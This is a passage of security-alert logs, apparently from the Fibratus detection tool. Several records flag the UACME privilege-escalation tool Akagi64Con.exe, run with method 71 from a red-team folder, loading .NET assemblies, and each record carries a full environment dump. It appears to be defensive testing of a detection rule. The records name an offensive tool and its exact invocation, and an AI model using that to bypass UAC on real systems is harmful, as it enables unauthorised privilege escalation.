Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T15:18:27+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\testhost.net472\2cff03c6e50e8a1ba4ff95d957218cdc\testhost.net472.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 1675068 + Pid: 11932 + Tid: 1776 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-25 15:18:00.2176397 +0100 CET + Params: base_address➜ 7ffb99f40000, checksum➜ 0, default_address➜ 7ffb99f40000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\testhost.net472\2cff03c6e50e8a1ba4ff95d957218cdc\testhost.net472.ni.exe, image_size➜ 102400, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 11932, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.name: .NET assembly loaded by unmanaged process + + Pid: 11932 + Ppid: 17776 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8e8ec1a8-04b4-42aa-812e-e904ff39b295 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T15:18:27+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\testhost.net48\8dbfc478cf9e5831725f9d09bc185961\testhost.net48.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 1675083 + Pid: 11932 + Tid: 1776 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-25 15:18:00.2185482 +0100 CET + Params: base_address➜ 7ffb99f40000, checksum➜ 0, default_address➜ 7ffb99f40000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\testhost.net48\8dbfc478cf9e5831725f9d09bc185961\testhost.net48.ni.exe, image_size➜ 102400, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 11932, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: rule.name: .NET assembly loaded by unmanaged process, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/ + + Pid: 11932 + Ppid: 17776 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8e8ec1a8-04b4-42aa-812e-e904ff39b295 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T15:18:27+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\testhost.net48\8dbfc478cf9e5831725f9d09bc185961\testhost.net48.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 1675083 + Pid: 11932 + Tid: 1776 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-25 15:18:00.2185482 +0100 CET + Params: base_address➜ 7ffb99f40000, checksum➜ 0, default_address➜ 7ffb99f40000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\testhost.net48\8dbfc478cf9e5831725f9d09bc185961\testhost.net48.ni.exe, image_size➜ 102400, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 11932, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.name: .NET assembly loaded by unmanaged process, tactic.id: TA0005, tactic.name: Defense Evasion + + Pid: 11932 + Ppid: 17776 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G 